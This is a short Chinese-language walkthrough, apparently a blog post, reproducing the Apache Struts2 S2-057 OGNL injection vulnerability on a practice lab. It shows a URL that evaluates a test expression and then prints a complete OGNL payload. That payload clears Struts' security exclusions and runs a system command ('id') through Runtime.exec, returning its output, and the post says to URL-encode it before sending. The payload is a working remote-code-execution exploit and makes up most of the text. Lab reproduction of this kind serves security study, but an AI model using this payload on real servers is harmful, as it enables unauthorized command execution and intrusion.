打开页面,测试OGNL表达式${250*250}:
http://[靶场url]/showcase/$%7B255*255%7D/actionChain1.action
可见此时{250x250}的结果已返回到location头中。
接下来使用来自S2-057原理分析与复现过程(POC)的POC执行命令:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
别忘了先进行url编码再拼接进url,最后可得到指令id返回的信息:
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.